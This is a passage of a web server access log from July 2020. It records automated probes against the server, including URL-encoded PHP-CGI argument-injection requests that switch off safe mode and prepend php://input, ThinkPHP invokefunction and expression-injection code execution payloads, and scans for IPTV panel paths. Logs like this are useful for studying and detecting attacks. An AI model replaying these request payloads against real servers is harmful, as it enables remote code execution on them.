/cgi-bin/php4-cgi?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E HTTP/1.1" 200 2145 127.0.0.1 - - [16/Jul/2020:13:51:33 -0400] "POST /cgi-bin/php5-cgi?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E HTTP/1.1" 200 2145 127.0.0.1 - - [16/Jul/2020:13:51:34 -0400] "GET /index.php?s=/Index/\x5Cthink\x5Capp/invokefunction&function=call_user_func_array&vars[0]=sha1&vars[1][]=xyzt HTTP/1.1" 302 - 127.0.0.1 - - [16/Jul/2020:13:51:34 -0400] "GET /index.php/module/action/param1/$%7B@die(sha1(xyzt))%7D HTTP/1.1" 200 2145 127.0.0.1 - - [16/Jul/2020:13:51:34 -0400] "GET /App/?content=die(sha1(xyzt)) HTTP/1.1" 200 2145 127.0.0.1 - - [16/Jul/2020:13:51:35 -0400] "GET /index.php?s=/module/action/param1/${@die(sha1(xyzt))} HTTP/1.1" 302 - 127.0.0.1 - - [16/Jul/2020:13:52:30 -0400] "GET /app-ads.txt HTTP/1.1" 302 - 128.199.108.165 - - [16/Jul/2020:19:00:51 -0400] "GET /stalker_portal/c/version.js HTTP/1.1" 200 2145 128.199.108.165 - - [16/Jul/2020:19:01:03 -0400] "GET /client_area/ HTTP/1.1" 200 2145 128.199.108.165 - - [16/Jul/2020:19:01:14 -0400] "GET /system_api.php HTTP/1.1" 302 - 128.199.108.165 - - [16/Jul/2020:19:01:15 -0400] "GET /login HTTP/1.1" 200 4254 128.199.108.165 - - [16/Jul/2020:19:01:27 -0400] "GET /streaming/clients_live.php HTTP/1.1" 200 2145 128.199.108.165 - - [16/Jul/2020:19:01:38 -0400] "GET /stalker_portal/c/ HTTP/1.1" 200 2145 128.199.108.165 - - [16/Jul/2020:19:01:49 -0400] "GET /api.php HTTP/1.1" 302 - 128.199.108.165 - - [16/Jul/2020:19:01:50 -0400] "GET /login HTTP/1.1" 200 4254 128.199.108.165 - - [16/Jul/2020:19:02:02 -0400] "GET /login.php HTTP/1.1" 302 - 128.199.108.165 - - [16/Jul/2020:19:02:02 -0400] "GET /login HTTP/1.1" 200 4254 128.199.108.165 - - [16/Jul/2020:19:02:15 -0400] "GET /streaming HTTP/1.1" 302 - 128.199.108.165 - - [16/Jul/2020:19:02:15 -0400] "GET /login HTTP/1.1" 200 4254 128.199.108.165 - - [16/Jul/2020:19:02:16 -0400] "GET /streaming/clients_live.php HTTP/1.1" 200 2145 128.199.108.165 - - [16/Jul/2020:19:02:16 -0400] "GET /streaming/9wjun96qY.php HTTP/1.1" 200 2145 128.199.108.165 - - [16/Jul/2020:19:02:49 -0400] "GET / HTTP/1.1" 302 - 128.199.108.165 - - [16/Jul/2020:19:02:49 -0400] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [16/Jul/2020:19:11:32 -0400] "POST / HTTP/1.1" 302 - 127.0.0.1 - - [16/Jul/2020:19:11:32 -0400] "POST / HTTP/1.1" 302 - 127.0.0.1 - - [16/Jul/2020:19:11:32 -0400] "POST / HTTP/1.1" 302 - 127.0.0.1 - - [16/Jul/2020:19:11:32 -0400] "POST / HTTP/1.1" 302 - 65.49.27.189 - - [16/Jul/2020:19:11:35 -0400] "POST / HTTP/1.1" 302 - 65.49.27.189 - - [16/Jul/2020:19:11:35 -0400] "POST / HTTP/1.1" 302 - 127.0.0.1 - - [16/Jul/2020:21:24:33 -0400] "GET /robots.txt HTTP/1.1" 302 - 127.0.0.1 - - [16/Jul/2020:21:24:33 -0400] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [16/Jul/2020:21:24:33 -0400] "GET /app-ads.txt HTTP/1.1" 302 - 127.0.0.1 - - [16/Jul/2020:21:24:34 -0400] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [16/Jul/2020:21:36:04 -0400] "GET /robots.txt HTTP/1.1" 302 - 127.0.0.1 - - [16/Jul/2020:21:36:04 -0400] "GET /login HTTP/1.1" 200 4254 192.35.168.220 - - [16/Jul/2020:22:33:06 -0400] "-" 400 - 192.35.168.220 - - [16/Jul/2020:22:33:06 -0400] "GET / HTTP/1.1" 302 - 192.35.168.220 - - [16/Jul/2020:22:33:06 -0400] "GET / HTTP/1.1" 302 - 192.35.168.220 - - [16/Jul/2020:22:33:06 -0400] "GET /login HTTP/1.1" 200 4254